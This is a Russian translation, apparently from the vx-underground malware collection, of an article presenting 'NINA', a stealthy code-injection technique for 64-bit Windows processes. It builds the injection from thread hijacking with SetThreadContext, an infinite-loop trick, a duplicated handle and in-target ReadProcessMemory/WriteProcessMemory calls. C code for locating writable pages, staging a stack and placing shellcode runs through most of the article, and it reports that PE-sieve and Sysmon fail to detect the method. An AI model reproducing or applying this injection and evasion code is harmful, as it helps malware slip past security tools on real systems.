tags: windows - malware
NINA:Внедрение в 64 битные процессы
коллекция vx-underground.org // 0x1337dtm
В этой статье я расскажу об экспериментальной технике внедрения в процесс, без использования стандартных “опасных” функций - WriteProcessMemory, VirtualAllocEx, VirtualProtectEx, CreateRemoteThread, NtCreateThreadEx, QueueUserApc, и NtQueueApcThread. Я назвал эту технику NINA: No Injection, No Allocation (Без внедрения, Без выделения памяти). Цель данной техники - незаметность (очевидно), которая достигается с помощью уменьшения количества подозрительных вызовов и без надобности использовать сложные ROP цепочки. POC вы найдете здесь:
https://github.com/NtRaiseHardError/NINA.
Тестировалось на:
- Windows 10 x64 version 2004
- Windows 10 x64 version 1903
Реализация: Без внедрения
Давайте начнем со способа, который убирает необходимость внедрять что-то в процесс.
Самый простой способ внедрения в процесс состоит из нескольких простых ингредиентов:
- Целевой адрес в памяти, для хранения нагрузки
- Передача нагрузки в целевой процесс, и
- Операция запуска нагрузки
Чтобы сфокусироваться на тезисе “Без Внедрения”, я буду использовать классический VirtualAllocEx, для выделения памяти в целевом процессе. Очень важно, чтобы страницы памяти не имели одновременно прав на запись (W) и исполнение (X). Алгоритм в этом случае следующий:
- Выставляем права RW
- Записываем данные
- Выставляем права RX
Сейчас, для простоты, мы можем выставить RWX права на страницы, а далее я расскажу про трюк “Без Выделения Памяти”.
Вредоносный процесс может не использовать WriteProcessMemory, для прямой записи данных в целевой процесс. Для этого, можно использовать технику “Inject Me”. Существуют и другие методы передачи данных в процесс: GlobalGetAtomName (Atom Bombing), передача с помощью опций командной строки/переменных окружения (с вызовом CreateProcess, для запуска целевого процесса). К сожалению, эти три способа требуют, чтобы нагрузка (payload - прим.пер.) не содержала NULL символов. Есть еще один способ - Ghost Writing, но он требует сложной ROP цепочки.
Чтобы добиться исполнения кода в процессе, я выбрал технику перехвата потока, используя важную функцию SetThreadContext, так как мы не можем вызывать CreateRemoteThread, NtCreateThreadEx, QueueUserApc, и NtQueueApcThread.
Алгоритм следующий:
- Вызываем CreateProcess, чтобы запустить целевой процесс
- Вызываем VirtualAllocEx, для выделения памяти для нагрузки и стека
- Вызываем SetThreadContext, чтобы целевой процесс выполнил ReadProcessMemory
- Вызываем SetThreadContext, для выполнения нагрузки
CreateProcess
При использовании такого способа внедрения, надо принять во внимание некоторые моменты. Первый связан с вызовом CreateProcess. Хотя наша техника не использует CreateProcess, есть некоторые причины, по которым может быть лучше использовать его, вместо OpenProcess или OpenThread. Одна из причин - отсутствие удаленного доступа к процессу, для получения HANDLE, который может быть детектирован тулзами для мониторинга (например Sysmon), которые используют для этого ObRegisterCallbacks (об этом в конце будет подробнее - прим.пер.). Другая причина - CreateProcess позволяет нам использовать техники внедрения, упомянутые ранее, с помощью командной строки и переменных окружения. Если вы создаете процесс, вы можете взять на вооружение blockdlls и ACG, для предотвращение антивирусных хуков в юзермоде.
VirtualAllocEx
Конечно, целевой процесс должен быть способен вместить нагрузку, но для нашей техники нужен еще стек. Далее вы поймете о чем я.
ReadProcessMemory
Для использования этой функции в обратном порядке (когда целевой процесс читает наш - прим.пер.), мы должны учесть: передачу пятого параметра на стеке (первые четыре передаются через регистры, остальные на стеке - прим.пер.) и использование валидного HANDLE процесса для нашего собственного вредоносного процесса. Давайте для начала разберемся с пятым аргументом:
BOOL ReadProcessMemory (
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesRead
);
SetThreadContext позволяет использовать только первые четыре аргумента (x64), игнорируя пятый. В документации, о lpNumberOfBytesRead, написано следующее:
Указатель на переменную, которая получает число байтов, переданное в указанный буфер. Если lpNumberOfBytesRead - NULL, этот параметр игнорируется.
К счастью, VirtualAllocEx зануляет созданные страницы памяти:
Резервирование, коммит, или изменение состояния региона памяти внутри виртуального адресного пространства указанного процесса. Функция инициализирует выделяемую память нулями.
Установка стека в зануленных страницах дает валидный пятый аргумент.
Вторая проблема в HANDLE процесса, передаваемого в ReadProcessMemory. Так как мы пытаемся заставить целевой процесс прочитать наш вредоносный, мы должны дать ему наш HANDLE. Это можно сделать функцией DuplicateHandle. Ей можно передать наш текущий HANDLE и получить HANDLE, для передачи целевому процессу.
SetThreadContext
SetThreadContext - это мощная и гибкая функция, которая позволяет читать, писать и исполнять. Но с ней есть известная проблема при передачи fastcall аргументов: изменяемые регистры RCX, RDX, R8 и R9 не могут хранить желаемые значения надежно. Посмотрите на следующий код:
// Заставляем целевой процесс прочитать шеллкод
SetExecutionContext(
// Поток в целевом процессе
&TargetThread,
// Устанавливаем RIP для чтения нашего шеллкода
_ReadProcessMemory,
// RSP указывает на стек
StackLocation,
// RCX: HANDLE нашего процесса, откуда читается шеллкод
TargetProcess,
// RDX: Адрес откуда читать
&Shellcode,
// R8: Буфер для хранения шеллкода
TargetBuffer,
// R9: Сколько читать
sizeof (Shellcode)
);
Если его выполнить, мы ожидаем, что изменяемые регистры содержат корректные значения, когда поток в целевом процессе начинает выполнять ReadProcessMemory. Но в реальности этого не происходит:
По непонятным причинам, значения регистров поменялись, что делает нашу технику бесполезной. RCX не содержит валидного HANDLE процесса, RDX - ноль и R9 - хранит очень большое значение. Но есть метод, который я откопал, который позволяет надежно устанавливать значения регистров: просто надо установить RIP в бесконечный jmp -2 цикл, перед использование SetThreadContext. Как это происходит:
Бесконечный цикл может быть запущен функцией SetThreadContext, и уже после вызывается ReadProcessMemory с регистрами, с правильными значениями:
Теперь нам надо обработать полученное значение. Заметьте, что мы выделяем память и используем свой стек. Если мы можем использовать ReadProcessMemory для чтения шеллкода и помещения его по RSP нашего стека, то мы можем указать первыми 8 байтами в шеллкоде адрес возврата, указывающего на сам шеллкод. Пример:
BYTE Shellcode[] = {
// Заглушка, для адреса возврата ReadProcessMemory на Shellcode + 8
0xEF , 0xBE , 0xAD , 0xDE , 0xEF , 0xBE , 0xAD , 0xDE ,
// Шеллкод начинается тут...
0xEB , 0xFE , 0x01 , 0x23 , 0x45 , 0x67 , 0x89 , 0xAA ,
0xBB , 0xCC , 0xDD , 0xEE , 0xFF , 0x90 , 0x90 , 0x90
};
RSP и R8 указывают на 000001F457C21000. Адреса выше будут использованы для стека при вызове ReadProcessMemory. Буфер для шеллкода будет располагаться в адресах ниже R8. В конце вызова ReadProcessMemory, в качестве адреса возврата, будут использованы первые 8 байт шеллкода, формирующие адрес 000001F457C21008 и указывающие на его реальное расположение:
Реализация: Без Выделения Памяти
Теперь давайте поговорим об избавлении от VirtualAllocEx, для улучшения техники. Это не самая простая задача, по сравнению с предыдущей, так как уже изначально имеются проблемы:
- Как мы организуем стек для ReadProcessMemory?
- Каким образом мы запишем и выполним шеллкод, используя ReadProcessMemory, если отсутствуют RWX секции?
Но зачем нам выделять память, если она уже есть готовая? Имейте в виду,
что если использовать существующие страницы памяти, то важно не перезаписать критичные данные, для восстановления прежнего потока выполнения.
Стек
Если мы не можем выделить память для стека, то мы можем просто найти пустую RW страницу. Проблему с пятым NULL аргументом для ReadProcessMemory тоже можно решить. Чтобы не затереть потенциально критичные данные, мы можем использовать , для своих целей, выравнивающие байты в RW страницах памяти, внутри бинарника. Конечно, если они там имеются.
Чтобы найти RW страницы в памяти бинарника, мы можем найти базовый адрес через PEB, потом пробежаться по памяти функцией VirtualQueryEx. Она возвращает информацию о правах на страницы, их размер, которые могут быть использованы для нахождения любой существующей RW страницы, подходящей для шеллкода.
//
// Получаем PEB.
//
NtQueryInformationProcess(
ProcessHandle,
ProcessBasicInformation,
&ProcessBasicInfo,
sizeof (PROCESS_BASIC_INFORMATION),
&ReturnLength
);
//
// Получаем базовый адрес
//
ReadProcessMemory(
ProcessHandle,
ProcessBasicInfo.PebBaseAddress,
&Peb,
sizeof (PEB),
NULL
);
ImageBaseAddress = Peb.Reserved3[1];
//
// Получаем DOS заголовок.
//
ReadProcessMemory(
ProcessHandle,
ImageBaseAddress,
&DosHeader,
sizeof (IMAGE_DOS_HEADER),
NULL
);
//
// Получаем NT заголовок.
//
ReadProcessMemory(
ProcessHandle,
(LPBYTE)ImageBaseAddress + DosHeader.e_lfanew,
&NtHeaders,
sizeof (IMAGE_NT_HEADERS),
NULL
);
//
// Ищем существующие страницы памяти внутри бинарника.
//
for (SIZE_T i = 0 ; i < NtHeaders.OptionalHeader.SizeOfImage; i += MemoryBasicInfo.RegionSize) {
VirtualQueryEx(
ProcessHandle,
(LPBYTE)ImageBaseAddress + i,
&MemoryBasicInfo,
sizeof (MEMORY_BASIC_INFORMATION)
);
//
// Ищем RW память для стека.
// Заметка: Идеально будет найти RW секцию
// внутри страниц памяти бинарника, потому что
// выравнивающие байты до секции подходят для пятого, опционального
// аргумента ReadProcessMemory и WriteProcessMemory.
//
if (MemoryBasicInfo.Protect & PAGE_READWRITE) {
//
// Стек располагается в RW страницах, снизу
//
}
}
После нахождения нужной страницы, стек должен располагаться так, чтобы он рос от низа страницы и по мере роста было найдено значение 0x0000000000000000, для пятого аргумента ReadProcessMemory. Это означает, что потребуется как минимум 0х28 байт (если считать от начала (низа) страницы) + пространство для шеллкода.
Код, для демонстрации этого:
//
// Выделяем память для стека, для чтения локальной копии
//
Stack = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, AddressSize);
//
// Поиск NULL значения для пятого аргумента в стеке
//
Success = ReadProcessMemory(
ProcessHandle,
Address,
Stack,
AddressSize,
NULL
);
//
// Проходимся снизу (по стеку)
// Начиная с -5 * 8 - это количество для как минимум пяти аргументов + шеллкод
//
for (SIZE_T i = AddressSize - 5 * sizeof (SIZE_T) - sizeof (Shellcode); i > 0 ; i -= sizeof (SIZE_T)) {
ULONG_PTR* StackVal = (ULONG_PTR*)((LPBYTE)Stack + i);
if (*StackVal == 0 ) {
//
// Вычисляем отступ
//
*StackOffset = i + 5 * sizeof (SIZE_T);
break ;
}
}
Если RW страниц не нашлось в бинарнике, мы можем писать прямо в стек. Для нахождения стека в чужом процессе, нам поможет следующий код:
NtQueryInformationThread(
ThreadHandle,
ThreadBasicInformation,
&ThreadBasicInfo,
sizeof (THREAD_BASIC_INFORMATION),
&ReturnLength
);
ReadProcessMemory(
ProcessHandle,
ThreadBasicInfo.TebBaseAddress,
&Tib,
sizeof (NT_TIB),
NULL
);
//
// Считаем отступ
//
Переменная Tib будет содержать адреса нахождения стека. С ними, мы можем использовать предыдущий код для нахождения нужного отступа от начала стека.
Запись шеллкода
Главное препятствие при работе без выделения памяти в том, что мы должны расположить шеллкод и исполнить его на одной и той же странице. Это можно сделать функцией WriteProcessMemory, без использования VirtualProtectEx или сложных ROP цепей. Да, я говорил, что мы не можем использовать WriteProcessMemory для записи данных из нашего процесса в целевой, но я не говорил, что мы не можем заставить целевой процесс писать в самого себя. Благодаря скрытому механизму, WriteProcessMemory переназначает права на страницы переданного буфера, для записи в него. Тут мы видим, что страницы буфера запрошены функцией NtQueryVirtualMemory:
Затем со страниц снимаются ограничения на запись функцией NtProtectVirtualMemory:
Если вы заметили, в начале, WriteProcessMemory модифицирует теневой стек. Поэтому нам надо подправить шеллкод, чтобы он учитывал расстояние до теневого стека:
BYTE Shellcode[] = {
// Заглушка для адреса возврата из ReadProcessMemory к бесконечному jmp циклу
0xEF , 0xBE , 0xAD , 0xDE , 0xEF , 0xBE , 0xAD , 0xDE ,
// Место, для теневого стека
0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,
0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,
0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,
0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,
0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,
// Сам шеллкод начинается тут (+0x30)
0xEB , 0xFE , 0x01 , 0x23 , 0x45 , 0x67 , 0x89 , 0xAA ,
0xBB , 0xCC , 0xDD , 0xEE , 0xFF , 0x90 , 0x90 , 0x90
};
Теперь нам надо последовательно вызвать ReadProcessMemory и WriteProcessMemory. После возврата из ReadProcessMemory, мы можем вместо выполнения шеллкода (теперь он в лежит в неисполняемой памяти), просто прыгнуть назад к бесконечному циклу:
Это дает время вредоносному процессу вызвать SetThreadContext, для указания RIP на WriteProcessMemory и переиспользовать RSP из ReadProcessMemory. Мы можем прочитать шеллкод из того же места, которое было скопировано ReadProcessMemory (+0х30 байт до непосредственно тела шеллкода) и выбрать любую страницу с правами на выполнение (предполагая что есть RX секции).
// Берем целевой процесс, для записи шеллкода
Success = SetExecutionContext(
&ThreadHandle,
// Устанавливаем rip, для чтения шеллкода
&_WriteProcessMemory,
// RSP указывает на прежний адрес
&StackLocation,
// RCX: handle целевого процесса
(HANDLE)-1,
// RDX: буфер для шеллкода
ShellcodeLocation,
// R8: адрес, с которого будет записываться
(LPBYTE)StackLocation + 0x30 ,
// R9: размер для записи
sizeof (Shellcode) - 0x30 ,
NULL
);
Когда завершится WriteProcessMemory, мы опять прыгнем на бесконечный цикл, позволив тем самым вредоносному процессу сделать финальный вызов SetThreadContext для выполнения шеллкода:
// Выполнение шеллкода
Success = SetExecutionContext(
&ThreadHandle,
// Установка RIP, для выполнения шеллкода
&ShellcodeLocation,
// RSP опционален
NULL ,
//Аргументы для шеллкода опциональны
0,
0,
0,
0,
NULL
);
В итоге, вся процедура внедрения выглядит так:
- SetThreadContext на бесконечный цикл, чтобы позволит SetThreadContext нормально использовать регистры
- Нахождение подходящего места на стеке (или псевдо стеке), с правами чтения/записи, для хранения аргументов ReadProcessMemory, WriteProcessMemory и временного шеллкода
- Получение копии handle функцией DuplicateHandle для целевого процесса, чтобы прочитать шеллкод из вредоносного процесса
- Вызов ReadProcessMemory, используя SetThreadContext, для копирования шеллкода
- Возврат к бесконечному циклу, после ReadProcessMemory
- Вызов WriteProcessMemory, используя SetThreadContext, для копирования шеллкода в память с правами RX
- Возврат к бесконечному циклу, после WriteProcessMemory
- Выполнение шеллкода, используя SetThreadContext.
Обнаружение следов
Чтобы быстро проверить, как можно обнаружить технику, я использовал две тулзы: PE-sieve от hasherazade и Sysinternal Sysmon с конфигом от SwiftOnSecurity . Если вы знаете любые другие тулзы для мониторинга, то я был бы рад посмотреть, как наша техника справляется с ними.
PE-sieve
Играясь с PE-sieve я заметил, что если мы внедряем шеллкод в выравнивающие байты в секции .text (или другую подходящую), то он вообще никак не детектится:
Если шеллкод слишком большой, чтобы туда влезть, то стоит посмотреть на другие модули.
Sysmon Events
Тут я получил ожидаемый результат, так как использовался вызов CreateProcess для запуска целевого процесса, вместо OpenProcess. Стоит отметить, что вызов DuplicateHandle может триггерить детект от Sysmon (он это делает вызовом ObRegisterCallbacks). Но нам нечего бояться, так как Sysmon не детектит, если процесс, который копирует/дуплицирует handle, это тот же процесс, что и запрашивает его. В случае с антивирусом/EDR ситуация может быть другой.
Дальнейшие улучшения
Не сомневаюсь, что здесь могут быть моменты, которые я упустил, так как я очень торопился с этим проектом - я просто исследовал эту идею и смотрел, как далеко я смогу зайти. Техника возможна благодаря восстановлению перехваченного потока выполнения, но все зависит от вредоносного процесса (не знаю, хорошо это или плохо).
¯_(ツ)_/¯
Заключение
Существует возможность не использовать WriteProcessMemory, VirtualAllocEx, VirtualProtectEx, CreateRemoteThread, NtCreateThreadEx, QueueUserApc, и NtQueueApcThread из вредоносного процесса, для внедрения в другой процесс. Использование OpenProcess и OpenThread по прежнему под сомнением, потому что не всегда возможен запуск процесса функцией CreateProcess. Но зато, мы избавились от кучи подозрительных вызовов, что и являлось целью.
SetThreadContext очень мощная и важная вещь, для целей антидетекта, интересно, уделят ли ей должное внимание в будущем? Что я вижу сейчас - уже существует нативное логгирование функции в ETW провайдере. Очень интересно будет посмотреть в будущем, как будут развиваться техники внедрения в процесс…
Вверх